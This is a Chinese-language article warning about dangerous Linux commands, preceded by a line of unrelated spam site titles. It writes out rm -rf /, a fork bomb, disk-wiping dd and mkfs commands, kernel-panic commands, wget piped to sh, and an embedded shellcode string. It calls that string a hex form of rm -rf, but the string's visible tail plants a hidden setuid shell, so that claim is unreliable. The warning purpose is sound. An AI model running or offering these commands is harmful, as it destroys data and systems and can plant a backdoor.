国产欧美日韩第一页|日本一二三不卡视频|在线精品小视频,亚洲第一免费播放区,metcn人体亚洲一区,亚洲精品午夜视频

在linux系統(tǒng)中絕不要用的命令

2018-01-08 17:11:48 9949

注意:以下命令請(qǐng)勿執(zhí)行!后果自負(fù).

rm -rf /

想要干脆利落的毀掉一個(gè) Linux 系統(tǒng)嗎?你無法超越這個(gè)被譽(yù)為“史上最糟糕”的經(jīng)典,它能刪除一切,我說的是,能刪除所有存在你系統(tǒng)里的內(nèi)容!

和大多數(shù) Linux 命令一樣,rm 這個(gè)核心命令使用起來非常方便。即便是最頑固的文件它也能幫你刪除。結(jié)合起后面兩個(gè)參數(shù)理解 rm 指令時(shí),你很容易陷入大麻煩:-r,強(qiáng)制遞歸刪除所有子目錄,-f,無需確認(rèn),強(qiáng)制刪除所有只讀文件。如果你在根目錄運(yùn)行這條指令,將清除整個(gè)驅(qū)動(dòng)器上的所有數(shù)據(jù)。

這里有一些更為隱蔽的方式調(diào)用 rm -rf。思考一下下面的代碼:

char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

這是什么?這是 16 進(jìn)制的 rm -rf 寫法。在你不明確這段代碼之前,請(qǐng)千萬不要運(yùn)行這條命令!

fork 炸彈

既然我們討論的都是些奇怪的代碼,不妨思考一下這一行:

:(){ :|: & };:

它就是那個(gè)臭名昭著的 Bash fork 炸彈。它會(huì)反復(fù)啟動(dòng)新的 Bash shell,直到你的系統(tǒng)資源消耗殆盡、系統(tǒng)崩潰。

不應(yīng)該在最新的 Linux 系統(tǒng)上做這些操作。注意,我說的是不應(yīng)該。我沒有說不能。正確設(shè)置用戶權(quán)限,Linux 系統(tǒng)能夠阻止這些破壞性行為。通常用戶僅限于分配使用機(jī)器可用內(nèi)存。但是如果作為 root 用戶的你運(yùn)行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反復(fù)虐待服務(wù)器,直到系統(tǒng)重啟了。

垃圾數(shù)據(jù)重寫硬盤

有時(shí)候你想徹底清除硬盤的數(shù)據(jù),你應(yīng)該使用 Darik's Boot and Nuke (DBAN) 工具去完成這項(xiàng)工作。

但是如果僅僅想讓你的存儲(chǔ)器亂套,那很簡(jiǎn)單:

任意命令 > /dev/hda

“任意命令”,是指有輸出的任意命令,比如:

ls -la > /dev/hda

……將目錄列表通過管道送到你的主存儲(chǔ)設(shè)備。給我 root 權(quán)限和足夠的時(shí)間,就能覆蓋整個(gè)硬盤設(shè)備。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成 職業(yè)禁入方式。

擦除硬盤!

另一個(gè)一直受歡迎的擦除硬盤的方式是執(zhí)行:

dd if=/dev/zero of=/dev/hda

你可以用這條命令寫入數(shù)據(jù)到你的硬盤設(shè)備。dd 命令可以從特殊文件中獲取無盡個(gè) 0 字符,并且將它全部寫入你的設(shè)備。

可能現(xiàn)在聽起來 /dev/zero 是個(gè)愚蠢的想法,但是它真的管用。比如說,你可以使用它來 用零清除未使用的分區(qū)空間。它能使分區(qū)的鏡像壓縮到更小,以便于數(shù)據(jù)傳輸或是存檔使用。

在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毀掉你的一天之外,不是一個(gè)好事。如果你運(yùn)行了這個(gè)指令(千萬不要),你的存儲(chǔ)器會(huì)被隨機(jī)數(shù)據(jù)覆蓋。作為一個(gè)隱藏你要接管辦公室咖啡機(jī)的秘密計(jì)劃的半吊子方法,倒是不錯(cuò),但是你可以使用 DBAN 工具去更好的完成你的任務(wù)。

/dev/null 的損失

也許因?yàn)閿?shù)據(jù)珍貴,我們對(duì)備份的數(shù)據(jù)沒有什么信心,確實(shí)很多“永遠(yuǎn)不要這樣做!”的命令都會(huì)導(dǎo)致硬盤或其它存儲(chǔ)倉庫的數(shù)據(jù)被擦除。一個(gè)鮮明的實(shí)例:另一個(gè)毀滅你的存儲(chǔ)設(shè)備的方式,運(yùn)行 mv / /dev/null 或者 >mv /dev/null。

在前一種情況下,你作為 root 用戶,把整個(gè)磁盤數(shù)據(jù)都送進(jìn)這個(gè)如饑似渴的 /dev/null。在后者,你僅僅把家目錄喂給這個(gè)空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會(huì)再看見你的數(shù)據(jù)了。

格式化錯(cuò)了驅(qū)動(dòng)器

有時(shí)候你需要使用這一條命令格式化驅(qū)動(dòng)器:

mkfs.ext3 /dev/hda

……它會(huì)用 ext3 文件系統(tǒng)格式化主硬盤驅(qū)動(dòng)器。別,請(qǐng)等一下!你正在格式化你的主驅(qū)動(dòng)器!難道你不需要用它?

當(dāng)你要格式化驅(qū)動(dòng)器的時(shí)候,請(qǐng)務(wù)必加倍確認(rèn)你正在格式化的分區(qū)是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、閃存盤還是其他氧化鐵磁盤。

內(nèi)核崩潰

一些 Linux 命令不能讓你的機(jī)器長(zhǎng)時(shí)間停機(jī)。然而,一些命令卻可以導(dǎo)致內(nèi)核崩潰。這些錯(cuò)誤通常是由硬件問題引起的,但你也可以自己搞崩。

當(dāng)你遭遇內(nèi)核崩潰,重新啟動(dòng)系統(tǒng)你才可以恢復(fù)工作。在一些情況下,這只是有點(diǎn)小煩;在另一些情況下,這是一個(gè)大問題,比如說,高負(fù)荷運(yùn)作下的生產(chǎn)環(huán)境。下面有一個(gè)案例:

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

這些都會(huì)導(dǎo)致內(nèi)核崩潰。

絕不要運(yùn)行你并不了解它功能的命令,它們都在提醒我…

提防未知腳本

年輕或是懶惰的系統(tǒng)管理員喜歡復(fù)制別人的腳本。何必重新重復(fù)造輪子?所以,他們找到了一個(gè)很酷的腳本,承諾會(huì)自動(dòng)檢查所有備份。他們就這樣運(yùn)行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

這會(huì)下載該腳本,并將它送到 shell 上運(yùn)行。很明確,別大驚小怪,對(duì)吧?不對(duì)。這個(gè)腳本也許已經(jīng)被惡意軟件感染。當(dāng)然,一般來說 Linux 比大多數(shù)操作系統(tǒng)都要安全,但是如果你以 root 用戶運(yùn)行未知代碼,什么都可能會(huì)發(fā)生。這種危害不僅在惡意軟件上,腳本作者的愚蠢本身同樣有害。你甚至可能會(huì)因?yàn)橐粋€(gè)未調(diào)試的代碼吃上一塹——由于你沒有花時(shí)間去讀它。

提交成功!非常感謝您的反饋,我們會(huì)繼續(xù)努力做到更好!

這條文檔是否有幫助解決問題?

非常抱歉未能幫助到您。為了給您提供更好的服務(wù),我們很需要您進(jìn)一步的反饋信息:

在文檔使用中是否遇到以下問題: